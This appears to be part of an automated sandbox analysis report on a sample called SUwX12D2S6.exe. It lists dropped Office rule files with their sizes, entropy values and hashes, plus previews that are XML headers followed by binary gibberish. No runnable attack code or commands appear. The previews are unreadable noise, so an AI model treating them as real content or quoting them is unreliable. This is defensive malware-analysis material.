Preview:	<?xmlO...uF)...U...T....fd\t..sO.^K..O&...5.1...O}.vB.~,!.I.q.\.Cc.~....'..AW..p.ak..H.vy......qF......6xLG.....n.&.~..A.......J.1.o....._P..'V.;}......z....=.cg...%<.<.T..}c...7Y'&.b..Ma..!.%._..L....stn.....F.w....I. .....9kX...r../-..0........`X....a..5).%...?.#.:6R..;....@~...O.1..8..E.3..ay....x..C..@!..%...m..,$7..%eh....>..%8...* ...5[6.V6.#....7.....y..)..S.V......Z.}9?1.....lX...u..P:..p7z...,q...M.d.J..EJ...4...{o}E..r....%bO....3...>i9e.6...Ai..s...s..J.j..8...]...D..T.w.D..D/..d....M[M.pL$.K>H7..'{+..u../E...n........)..Z.m..^Z.j.Sd.\|......2...\..@..I.2....Q.....X....).......%.....CS..9.....C.:[..U_.DV\K....P..Iq5....w.!4...j.}...=..^.N&E. .pz.x..3.~..3..:.....b..qW..W..[.`-.......9....%/9..........o..................t".`..;d.5......a.Z.7...."J..f.....9.;E..u\|........wL.........Fl...<$.b....~....YOt..h..$ ..aW.TE.p.c=]b..=Y.d.h5.g....<.....m,$........$R.E.%".`<......+...=.!.b..[.R.=.L.T6-.I.......B.O.........z#5X...R..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.845324305697627
Encrypted:	false
SSDEEP:	24:+uRC7qo8yi9jiYsx0OooS+Fq7FhwMKaWIBnsohf1yGE8VbD:pjtUxnm+8hxKaXsayt8FD
MD5:	3D5CAE96024B9AE5530494F9ECDADA05
SHA1:	352C470B090F6CAFCC3FE8FB3941815262F9068E
SHA-256:	9D438404ABBDF55E4D5D4EBB4CA86FE94B9F888A8114DDC3A43832A034F82DC2
SHA-512:	B7A30C778F648AA8EF328CDD38D9E98EE771043EF43122AA849ACEF81863E2B918F6F21C3405923498A758DC5723BB3FCDEE6396898FFFF60D89113FF9D1FF68
Malicious:	false
Preview:	<?xml.D...Rn.Umm..F.k.#..L......Z...........TV.d.....\|?.-..f.K...UG[.h.\|.o9.$.T.;b).w.B...%.AY.\|.7..W?...N...mB.\|5...a..N.(j.O....l.bq.3...8R.L.Lt...D.Yh...2..........vZ.n).l.01Uk..?............6U`47.....g...Pq.....=..d......}Bl....c1..c..T.%../.\..g..>...U.h...[.$....pT...ah.&c..../ ].h...^..%...'.....*L..AP.B6.].'.....,. ..(^..&..G..V._.,ff.7..L....-Y..%.WD(UGM.....`.c..D.5'd./$..m......P..{)....yx.< ..+H....".p..u....$...W.....h..x.8.kh.+......-wx..&V.G../8em.r....sa.b.~....]...m.\..i...{V.=?....o.G.ff. ..y...6..Y.D./...AC..".!Sq...BT..l.F`zPv...:9.."......}......;...[......PmJv......F/.#..T+.....<.].r6H.1\|..S..dU._..3..+..t-v...v!....g.^^.n0.U.....P...E..A8_s...:[........bD}.....<..rp$.r.L..P....5BU..`.~J.-/#.ZVVo.P cd...\l....422....+Iz....o...IG...}+..p)$..m..`.f. ...db_...s.$.Q...5..?..p.z8t........_......0.+v.. .&..!:6....f].>?..........K4.......Q.~.#U..y_m1..........U...k....d.."E.DJ6.C\|..m>G.H....d"s.~.l...}Q..os.U.:.c..0N...t{.v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.776458570793373
Encrypted:	false
SSDEEP:	24:+ni6H4lYFfHqaJ5PFgOeHNPPGEGw4I4e1ZC/Mv85IBIK9X7/siQ7ZVbD:+i6HCYlKa1gOmnX18e97sHZFD
MD5:	90C96A5CC6DA83C08716E464502DFC30
SHA1:	B465C980D34B7C23C17D6C6FE0F7A5CD9B05AEAF
SHA-256:	6CB34EEDEE1E3B36159ED2CB3C1BB7280C37E350DFB82E1F5C566F1AB6DD1465
SHA-512:	9D5AD84530B16721F3550A91E056D49C671647E97406AC764F45411521CC89F74439504133D7545E668F4AF3FC28D96E555F8A24BFE386B770FA2CDA206E51F9
Malicious:	false
Preview:	<?xmlP.......1fD.\.T.a6t.....u9@.m....\|.H.L.M.]@...N...b#~..........G..Rw..6_.p....v..aqLd.....&.".S.F.V.J.PZ...\|.$[.."..zRt.B".m.700>2..~....x].k..G.lOO.FaJ. .1.P.....H)0Fp..F3.1._.&..^...,j.."<N.. 4Ym...d)...F.^..n..."..."_`...`........Y...K........t..h.Ju...w4\....;.y...z..INn..R...6......'.I%..C........J...W...k.w..7..K.4#p....\0.j...."...}.....D..O..N...`..#.e[.k."...z.....O..[......F.9..,D.......a.H.n...-.M.....6...S <.8...E`d...<.......V0..V...C.-..$.........H...O...R.=L.....{.).... ..\|G.,.t!0.....a...P..3.......<.)pD..=.....E.....}0~...SQ".#..#......}L......\......3..).).....4....Fm\|.9.B.8h H{R>......./4.$O..Wl3<.c.Z..5.Q.d(H.W...J^.lR.x.4.......zQ...<..`.z...za%.!-u.../......;.W...<.>.Pa.L...^.`.\|.c.ac.8..n..d.3...).q?L....\R.%w.t.XA...rJ.(3CF...g.6..W."I.L!..)....M...._.pu#.i.h..7..Q.7+Eo.X`l..\z.!8./..{.oy.....*..0.....J....Jo.F"...K..Xa.=.6....u-.qE$k9..q....6...kl..5.l...ft.. ....$.k3.;j.S_Q....^..l..........k........<1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.979560506221436
Encrypted:	false
SSDEEP:	192:Ko2jQX1UsEYYnWo8ajz3SUFvmOibUeHD3RS42oS2oG+Dpz:cE7EYYWEjOUFvubBLR2TjDpz
MD5:	0E877173FAB70C74111F5FF67C1B6E04
SHA1:	C75B3948195275B7B13DEFC84B717DB98CA28322
SHA-256:	6F2E2CD31B40C1ACFBA47586E1D4BB5202D8785B75E53C8A315B4829534BDFF3
SHA-512:	77DD59F195475AE674E5CDCAB7E180BECCB08A811D4BE15E8D7030222B896FD4FBFE37B19D6D16ED0756EE48ECFBFDCA907479C337A8721E12F4AB0B55687152
Malicious:	false
Preview:	<?xmlT.3J.~u.....s.".1?]...l.>..fmb..TN..:.4....G..7[Z.s....?&V%iP.uW...b..%........../.~......A..../n4..^....F.R8US.vw.K.....\|...n?T.H.N$-.#...X.S.....@\|S.]j.HK ...5u.U".l...s......1.1.4./....OX5...IB.W:..bM.U...S.{...b.......R..z'W.GH5b..64.'b3.7.....S.4{.....<2..j...lugs <.......'M.G.-f.O.B.AA...U.a.(..........k.O..1.......w9.#.e..X..A..g&n.:..!.!........>jE..j.]._..y+VP...c....n....9..b.%..=.p..x./.......F.V.81F..r.'....?.z..yW.>........2..........1.....G.es..f^....../ss...n..~..Q-.._.[.c.niqm.y....u..%.}.}B.......E.Y..\W3.......L.......)y.RX.d....k.=+....../....>...pTe..2.....!;.<.u........._M......J...e.....wm6i.w...+.A...d.q.S@.&4....T,..]n.WIR....TI7w..d^..TR..$y.....s.2.Wy..h..aj....3.;R..\|......GO\|..;.Y=.wc....l..../b....1...2..U...45~..h....G.u..O.l.p\|..uQF..?.#a.3. .[......E.(K..n..&..mr=B'......^.u..8...X..`...o..6.VQ.[ .w.l...Y5..?OP._...r.r1@.F..&..z........w....3..uK.....~U..l$.p.c.m..v...f..&...7B.u.y..(.0....b...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966597569334788
Encrypted:	false
SSDEEP:	96:HzkX4pZ06PMCXxIrv5WRfTD7uz7Rwv3W1Jzzwh44DDNjUjwB0veRoaPisMhWKd9:HzkO060HgfTu3Ra3W1JPwhRDdoeRv6sE
MD5:	21687959CE469A5C1E511466A4AE3ED6
SHA1:	1DE46AA93397BE3CB5BD29E9B3091A102A0C2D7D
SHA-256:	C00190D16A5229177CD3CD201F0C90A3F5A1555D519DEAAB2E57E0FB6ADDC780
SHA-512:	32EBE3C197130A4F4CC2D377E22DAA09FEAD0CAAFA090A4CB056B03E1BCB4F20FD4A7EA299319D075422143C25C857AC8397449D34C850D992A6337E2BBF7860
Malicious:	false
Preview:	<?xml.....$L...H..M...H..b<(.V..kt...w.2...r.Q>...O.O.+.;0-3' .+-z.Df.i.v6j..uHt...w7.$..sA.7.4..t.}.~^.>X<}{J.C.w........]..W.2..#.J.<z...<...%.....%C.5....e^a...u...zo..mR.H....;LY..,W9...u.G....<~......j./..!.ny.Ox..t..O.g.:.?~....g%....ra..\..6c..Hxf.+@.$`......ua).K..N...[-.....R....h.Hb.I.S..]..)".$..M.\jI.S1....y..}...=B..mf!PXq...5.F3....k..qXc...........M.........L.Q~.........<;9;E.h..x[%.R.....S..?.c..Y$$X..h...`.A9.L.I..E..I........=..Q#..A....gl.=9.=.,V)..E..7....>r$..@8.......TXV..:[U.......d..M.{.\D.M..+.P.!.!.7.... .m.)..@...U...TI6.3.^"8+0...y.kP...4.R%..."..I.y..:.......r.@O.....b..r...`.#.........N)>U..7.f...........@.z~.S......H..=.:..-.\b...{.MC.0:.K......V.Tg.?...(=.h..qN##f.....+}{S...d.j._C)x.t.2..$%..K....~.9....#...g..7........2..73$jo.@..P.iB..%.j^l.?.2...L.sL...nz..`...zq....I...4y.V..e.m/...s..jW...2......sC...r3.7]:y.S.....?.hz.l...3..N..U..&.k...w..F.U.G.RZ#..q....e..A.hl.]./_.u......v..{..)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.957999257958531
Encrypted:	false
SSDEEP:	96:uhMvLSRTGlAzagPW+aJSHQBEjHkjSScRi6QMgwha8ZG5JFcYsNltlXm4Pqkyu9:YTG+NOgHQyEERlVZG5JVklzWSqk7
MD5:	866FFD13319491C6FABC8A39EE11D76C
SHA1:	009CB744154063B511F28239DE97877D6AE8326A
SHA-256:	E6A6FCBC5CF8AAEE9EE269E3EECDE7B8F0E1F9F098A57F7F301FCE60780CF6AD
SHA-512:	CAF8FAE3E8E6E0FB80053AE319887625F1C34005FD9FEED03C159602B5945F5F01F9E95FE43F9BE528246785CCE30F21B3FB995430C7E0E2EADED242E25FC140
Malicious:	false
Preview:	<?xml...;..,.{.n..;..~.K.&.... ).G........HxQ7.KR!..K...s......!....3......$.D..o.i...u.\|..kql..B...Gj..u...p.u&q.-.;.L.mcC}.K. 7i...&.P.....He....U`....#fq!...D./U.;..~.yKFpm..qC..$.?V:......i.. ...Nw.K.}T...Rq..7.{m.9........qe/.0^......KP.ap/.:4.b..........4..!.S..L(.3X.f...{...._....F...."......].z..}.y .^g.:9...X...8..q.VK`....!..+.g.p.}......t......^n..WeX..x(.4...)?.1'....v)...s..Cv..O.2fi)4Ua...u....=R...&.....F.B.;.8F...(Pz.j....:.....m..6.5PB.w.}p...o....s....Gb.s.q.....5..B...@.5_[8.;..'...g...m.h....R...u...?r...g.........%y.....s.....L..E..l......W....}.Ah.p........?.x.t...p.....Jbt....a5...ePp...J6.....X.....-y.f=...rJ...;EDr*.....,b.Xbp.eJ/A...53..-G.-oq...m.....&...'....2 D..%..b./..R]...;i...d....;../.~w-g<..Q5.ATh...c5?./....T[.1?.#e+..p.-..9.O~..7$(.wo.MVhNQ..C.7+.Qt..y.....;?B\|.1.}......0.zF.9.wv8...6..08...Xv.c.O...x...........W....^......\.sAW.E.?..5........s..p..(...B..T.F<b`.N..A.........O.....E.<..wX[........\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.961336440777765
Encrypted:	false
SSDEEP:	96:IUnyLmk8Of9Ib3w6p5KGV6hKrNY7l2L3my+RAJ/FE5nLK6P29:I3SL2SblWbhnli2y+Rs/ELKJ
MD5:	87397D9013835340F7B3FED6570B0B0D
SHA1:	32D892425348C68A97E9C951BF1D5B33A502FB66
SHA-256:	19CCFD9ED0EC3D8BDF88F2F8A9143884FF0E59912A5430D04DDF0652776BF6D0
SHA-512:	DACB81FF059FE5435273D77ACF2AFAD2C3D97FE52C84B90FD3FBB198D3BC3A657492697FFED65161F87F365D00EEC806452163B54A9D257BB42754A15B2C1CE0
Malicious:	false
Preview:	<?xml.^..>.?2...ug.w..e..8......"/.......$...{t..>..AL......#..UYpR.5.o.%Ds.U..W.....F.}_.t>E.,...z=dq?...!........l.V6...b......83...g....J8`:....8..."T..]LB=..D......GH1X..]VY...WG..m3}....<.)..Q......b..k"...7.\|o.K.R.....%R...@...RO'.^...}...../.....1..9..a\..<.v....W.L.\.~.NeI...\....".S_....$...-UI!6.......z......2...S......).).b(..K.Y...i...y@.OXP....:.2.... Q..,y....A#e.vf.(i%..$....&.lj'.Y.Sf.T.]6......ct<......8$?...._.J....{..5$.S6.:...+Qx..qIQ. .....'P..mF..u.}Kn.....w.L<..z..Q.%g...@..x...U..L].&L../.gK........N....R...S.....5. .....'.;@.}O.,'/C..9.f.+(.\|$FEBS...C.#k......_.........GX.&%r...f...Ff..c...?.,..wh7......w.z.x...p..W.7D..i.H+w}g .o...^dE}.."..Wg.VL@.&q.,+..X...v.Z7Ks..E.T.../.,.K...^..E.GO...G...i.zCR...q..f...H.f....<...."#5I..!.2#....p.6...).~p...e...c)...Q=.....>...E....:.[.(....h.!y4.B...sZ.st..x..(...!+..]JS.._.*..T.zb.....>.#....X......`..^.nQ.9....8z..1.GG.V.=.)M<.....U..9......F....ol~F.I.v...3nn....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.938494680569564
Encrypted:	false
SSDEEP:	48:s3mFkDCTWqtfRQYiCHlNjwijoisH+MdhMr/uXTla3N8/d1S3gjOqAgF/IMmbkjNi:3FSqWIrlNZobCr/GTE3qvS3pgaMM8Ng/
MD5:	D8945A786710259499820E53A7122C80
SHA1:	C77869652F2D3B713F9EAD2DE538A61AB66F9F5E
SHA-256:	359A57952F5D6241A9FDAB57F0E7DEE0FBEEF443CC20C8D7960C1F520E654E8E
SHA-512:	CEA3AC3403E1A8466A490399E9E749F1B19531A5C460B15B387CC62E28160EF7CD6D985C654620E53C7A9D890A7EA62B028F2B3C1E24971507AA8F819708082D
Malicious:	false
Preview:	<?xml.....&7...e...a...:.(....L....Ap4..H9od.^..D..'3.....?..Z...-'.r..l._.C.x....S.;h#.l..k..........mV..]R..f.YlAn.....fX.M...&.+...i..E...qXmLCV..14j......X..p.IJa.....O...x<.EVz..}.~..!.=...ts...N... .....T.....v......h.K.t4.l-.HB.#..!'.^. ..6.[. ^J4.5...@C.............................E.....4.'1....!],....JK.`x...[.....L&f..cIw.D...~..i..-L.6.'WN)U....8,.F../<.......W.T...xS..i...o.....g..t~.Jft&Y~g.Z.K....r..K...;h..].p...8....&.K.t...QN.\|..l...N.._..._...\l~..?k.S...c...:...(9.HR.....B..Qc{!h.M[..Ad.....L;..9.E...Cz.7.......bS.5[K.7..j..7..\.Y...7%.....86V...{.....Ucx_..s.[....d._.....Y=..6..`.......y.cL.n..W'....T..SD...Hx.U..y.K.n..j...S..Je.LW..n.).3@.....O..O.sS.L....j.Z..U..13'.x..#!...'..#..Qyc..j.n.H....`.a..v...[..../..ME.}d...RD).....Ik.B.L+--...c..RF.x...:....b..Sjs..5.I....F,...N..........\.~.c.Q........^.D.~q^..2.1...(P.c.n....2..s4...{.;O...Lh..F.*..VDM.Q..o.~9.........<.^}.....vQ.og....`..>..<...-......A..............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.740276237204468
Encrypted:	false
SSDEEP:	24:bfdU2DXRsrGMK54sOHtRSaeIcevk5jK/yyiDVGVbD:bfW2DXRIG/HoSanvkkqPhGFD
MD5:	8CAADFD36086D553A748CA1B4E2DB439
SHA1:	B0BD3101F4A2AE65C10F158776FF25E2C26A9422
SHA-256:	846E6412BFDD211B41BE22EA612BC560E2EE9713E9117E771A8F7AF44AD2F16B
SHA-512:	E82CEE3254ABC2411678588DE5ACF1F9B7B968763A359E5B83F01927212879B522FD1911CDDB1F52227F31367E2E16EB441B701BA038311CCE202C6C44857EEB
Malicious:	false
Preview:	<?xml.}.{..@.qN..As...nxdI.6..p.bz.}1...g...E.Z.D..T..~0Uh.&.g^2&N.z....4@.......;.9...(CGke>:...7.y;.K.>.c.......C.......p....tq...Z.[i;.[.-rM..^.P...m.a!/."'..........kc;ID.....e.r.5..5S,..Q-.....]..<...../...=.$mXM=b.O....p...uPs...S...$........#..!.I(b..C.j....#.:...Q.Y.1..j.t].^7....)..g.)...P`.f......H_g.z..>.8.....R@..@2/.Z.o.X3..m..p.?.....O.3..Ew)l.d.[.n...?...R..X.....e.a.j..(z.U........g..#&.IC....J=Y..0..;....H... ..+~..v.o.pJ."...<...$x.1..A...8CD.=.Z"..R.$...\|M.:$q..6Bv...[...@..8..o(.M...C.2O....A..a_s.#y..JnN...8.."..~.J..X#A...r.......$..u.!..9@.8..EmP.....7d...#...#.G.\.8.f....M..z....f5.....u0H..<L.p...&...H#....W~fxN#.]>g.L..X.^...........`v..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.943166195469743
Encrypted:	false
SSDEEP:	48:N7wSs75pUZZqcWKunFAYyaxRs5p6mGHHs09HV2L6i09ACNiGOUaCfaoowC8kRIUu:R50rUG/nFAeopbDK12R09AC4CaCS7Xe9
MD5:	7F39F768789108F18A95551AF48FA5AB
SHA1:	2F9EB79D7422B2564166A78A33AFD5F8CAD4C3DD
SHA-256:	2D0DF22860CD2D0A149D2F199EDC8366D2BF698BDC4F30B38F250E5D21391F11
SHA-512:	58496E570BE782D6AEE6CFE78E9FAEC242BD172F8BC108F0AB05C2495D9739CBBC14CBD0992F2E5C47262CE71877FDE302275209FA786C36C18B78CAC907196C
Malicious:	false
Preview:	<?xml.yC..9-......o.8...V;Jyd=t...o#..o...j.#.....g..G....."..m]a...A.'@..j.vTaQbK.I.I.J.w.N.@>Q...6.M$x.. ...:]?"n....j.\.Y..)R \|W...)=.]I...`..k..:P5gA0....s.\|....!O.._....y..xW......W.(U&..x}~....y.r7.....k.....&..-.;Xe.N.5m#.N..f%...$.w..\|.$......ik5..Q.`9.y1.......UD.._....].`u.6.?d..dWq.o.L...sp.t...\.@OpY.....,t,..#........0.........}Wyo_..n-....6..v.Y>..........!@)vy......m..,.J]..1..B...KD.bpH(.#..'WK9A.....A.._.:E..T.......=aGx.......KCA.....l+8. B.%...S...]%^.?I..:FF......j........\|ELU..a.........ri..).%.\..hq...e..w..v.....b<C...`#.N...Z.....c....?.u..&`.4...^.....s...3...Y...1,b . .>..d<..}.M...D.e.e=..i.l...<.....c.w.x8.P.u.~...%../..;,;.bEb#...`+.....x;.S...8.w.qS...../jH.TF..++.Hw."0.Q.PpO.'..",.-.~.w@.........gZ$.X@.U........:..[..?!..Q.....1).&@..>......<....t........XH......,..N..,4R%......~.n..................W........ .@....6s.._......5...o...D..wu......$.7.^qC\ .N..N8+.8Q.a.@Z.7.qm2.....~.RI....KZ..O..h......P[..].oS.+.....Fl4G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.767569519882251
Encrypted:	false
SSDEEP:	12:0bp8ZAN1WaEm8uaUcwsa1tszIsQMGYQZbBBl5JRnRqgoPOuD4/JBqlfjVcii9a:sK3jya5ytgNoBBnACuD4/JUl7VbD
MD5:	D3C2736C548C1954D275EB9C955D2961
SHA1:	AF3097C0B18261A85B0F5A6114631AD5C49FB926
SHA-256:	288A80C25B7B3F80918596115F2D3D3718A406A36073F36226CC1B9DC5F3ED11
SHA-512:	519127BF7407F8CA87239A384117B2E925CD463C6A9CA2392C0067A4062A6D72E9F86DF0D663B5E3E732A5C209555587785403F63278E38E76D04A8A31B39630
Malicious:	false
Preview:	<?xmlI[.&3.L[..1...\.x<,..5...;.,......\N...bt!.......8?.0A.~...H.3\.....\|.....u9.S....9.N....... ..e(.....l.".......%.y.8A...O....4p.UP.].s?..cl....I......~a....z.,xc...../.x....OX.`n.........y<)v...u"'J....<0.z......>[..."'..[._.f.M.....Y.8....}..[......O.S...^.Z...%.\;.{f..g..J..P.?.+......5.}.4?....X.r..$.?2.fH.......n..d.w...m.....\Ry....n.f..5.HNL..O.._..H.M.x.Y.....D...$.",..M.M.t.H...db...@...V..l...J...k.Fzh.....[@..q.J....!>.mO..gbA`..#....{1.u}B.".M!..0&.oI...G..v\|.Jp.?....~YMx...gcL...Ef...G1...K.!..\G...,Y:.'.@.+.X.2.%...O...'.^......98.....t.N.....A...U ./.u.LkOZ..{.........a@..06....@r. @o.7Z.zc....i."/.q ..o)..{..^.GX.....[.....4Q.U......JC...}..6...........]}....,.....^.9.q..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9440498035883635
Encrypted:	false
SSDEEP:	48:GOLw9P9fZnvoES6O5zBPWhvssHjKQpz0NvAY4peCgYXwtGrFZqsxd9fvA7sFD:PLwJ9RnvSd5zBPWhv1WB3/YXdZqA3AY9
MD5:	81A5E01B88E383A8BD1A9AC09A1C17C4
SHA1:	8C40BCC2CCAA349EF9772B8DE76C6CC54370DB10
SHA-256:	26A86467F3129FF0E117A9802732F20C869B3E7B371FDB5A817799932158681B
SHA-512:	657B7EF04E35E214B6ECDCC340517C003B276FD94175B5D39D054C903BDF344693C99797B75C7227F8BC98A7611E8922D02E2B332F8966CF30AEE295BA1501FF
Malicious:	false
Preview:	<?xml....pB...wZ..Bt.U.......#........?...3B-....h..Gn..%e..m..U....g.I..L....G...13....UgB....BR......r].......$X[-kY.Gg.......(....7..^...j..4/......pP......jr..k....w;.n.P.>.[<....]..../......G.O%l.......=.C&.._..w.i..x.........Z.D.YM...S.Pw.._)...Zn.'a.i..nl...HfQz)....HZ...2....o#R......v.{..(d`....c/..C\..T\..0......<>-..@..8..}..jJ.ngr..D7......&H....w.3...x.'....(.F.%L.._..._.3..L5.....;2......^...C..[M.}`.....X.%...x..F.ZW.....iLw.."W...nj.......MIrUb..R......1r.W...Q.M..0.S....]Zw......!.Z.7.....-...LL).q...xR.b.e]$;.tYL..'..O..`.'\|......R52..I0....5K.....HY..9f.=_".........;..U..k.....E}Rw.;.4.. C.'..iB...%.g......_......s...U?.....{9....+..z0....L..%e....j`g?. 0.....M..S...C..W..D.......s....p..g..(6d..jf..q.....}.L/d9.o.._....G..1.m..Ho.L1...N.wR...\%.2r.}L29.....+u......I.'..i.H.....a......s.s.,.g>a...Vs~.9.Q....8...2../...$.R..2.. N.h....:\|....K...G..6.Ypj..K.t....'.,....7..x'.C.>......'WhU..X^R.{..9.{;...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.802252256485535
Encrypted:	false
SSDEEP:	24:4PP1rg6hWTtCQCoYvn8z+0F5DPoeGSsL+CKJi6HBxLPJ0iVbD:4P9k6wWy+03PBM6PLPDFD
MD5:	954E00D9221CA6BF8A6D2C69F023C574
SHA1:	4BAC1B25217843AE2D5917C09D68637DE72BB249
SHA-256:	3CBC1AAA71061925E55AD5BBD83F30D6659A8DB9F990CF402B0F655D938E1761
SHA-512:	59CCF66C0C77D67E7F4B7731DD1E19B63870E7552AF9E120AE76EF467DD1EDCFFEF97C44AE99FB19586F9661D12A1496A22BBCCC80AE47051104A66ECF31B6DA
Malicious:	false
Preview:	<?xml........2...=.g.?.M.j"J..0.K...u.../...b4..D.].....ZX..nu....\|.X.........Y....dw....^.....m^..n..!.%.r.=..Q.r&...c....}.[W...'.(J.O4...%).c.k.t-u.w...`.%.............u%...K.M.1......]....~.#q.e.#.;4..O..m.G.H...!`1ah.}?...T....>N$.}Em{\|G.....$5.{@...5."... . ..aT.ei/....=..j.7.h,...\|.......7jN..l$Q.^..."..8..c...r...Rle..N.K..SA.OUU.,...P....oQ....WK...J........?..J.....l(po!..f4>.p...."..Ft.'L....Z'L..`lC.....jt.....Q.3.........{%.Nz2!..N..U;.......I*.D.36b.o..?.. U.../...%U...b.\.x'H...-..w..q+.......@.B.>......{....)Y.......& . ...t3....X...>.\C.$e....3s...... ...l.L.L..!Y...t.k...1.Z.....m...9;.......y.Ms....e.XS.w.........l!.)s......3G........#.e.5bQ...e..@.#.G..[CgJ[z.\..u...b.A.>.aq.........s.....Z.lA[.$...#Q.j.[.B..Hm.a.e\...{'.yFI0.`.u.jc..)...b.X.).f........Rvc....`....5...~.D.&`w.h...~z..0.X.).8....v...^-.>..[..m........k..NM...$....(.....tW.....ia'9,..C.$..f....@!^.K.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8601628382763815
Encrypted:	false
SSDEEP:	24:npjxum+y7557BQxYRwUyBSsIK+BI6/OMAbvK/Bd67zKdBFMzvwYJ7cu6VbD:DumR557B1RISzKM/OMAbvK/gKdBFMzvS
MD5:	FE42EAEDEE1E600E3534E55CB589CB14
SHA1:	0FE02C6341A9AC212C84E31AE26D530C9DBAF512
SHA-256:	CFA6BCD9875D7A4CFE8229F498ECCAF10CC6D4F929A99AA10BE69FEDC6B4E51B
SHA-512:	06F3D11068CE08BF03444E13DE2607B2E3E78DC1C6EA30F1ACD1E45AFD4D598A91A0EC20B9F13302AA4ABA69175A15FF98D985731CE18F78B73CF955224B9641
Malicious:	false
Preview:	<?xml.n...\...0v....j9.2l.s\.f..+@.@.3(+..k.^.}2)^.....Y<R:S..............{hBVh.]..?Z....-(..B.B..<K".$..X.R.P...T..z..B'..0VFa&........}.a9T.(J...d..^e...t....>M.g(....p.%}..3...{.R.+..m....c....._.H..k3\..t~(..r...EIl7....="^}....p.{.(d.4/.Q..R..)t.J...,$-}..9..m..8A....@..qHF.vxmq>....=.....@....~[...a...my...dc...K..\|.\|6`."..T...\|......@...8...U..r>f...._...xz/....X..!....:.b'V.:^....$.../.v..0..q..K..T..........a.\|..Qi..u.P ...x...5^\.}/...X.E.Z".\|.o.f0. .M9(n.....l..dz.:.@.xBE.b..O.B.U. .tms.y...>/..V$@.1..U.y.q...m_.n.L..e:.......`.k<..D1....E_.. .k0.%j9..z...'-.O..iokRWV...=.].bt...".....x{........}nN..<t.F..<....Eg..Z....@.y?L..AG...n....$...Ac.....M7.R.m.V).....PJ+.4...Y.:....w.u`..X.EM./..ex.......5..4:......#.I.{..VU.n..8.4.....k....0`.py..$...5m.D.......!'J..G.t.@.....S.q.x.....fs.......C......b..U..C....x..~.....z.R.....*.@~.N;e...8!.%...\|#g.W. o_..\..~....;.H4....n.[h.;...sG:..........x.@f.E..Ic)...}......x\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.781575332765925
Encrypted:	false
SSDEEP:	24:fsCgiFXDm1cAuEm6i311B3F8IVhPMuSng2gVbD:fsCzFXTAuuilX18ghkdg2gFD
MD5:	403FC641329676C15D1458DD543D271B
SHA1:	3838994422DDF0F939A28EDE24F92326A702725E
SHA-256:	082530552CF53C0FEA70D37345A333E8E5526959E205C22A25E09FFDB496C9F4
SHA-512:	45368B9E1B2785CEF785A9F739D2EB1B191E641C651D2E2057AC44787D781715ED1D3B76D36328AD542F5D6EB43A0EA638CDFA1BD2662BBCD886182025E6C096
Malicious:	false
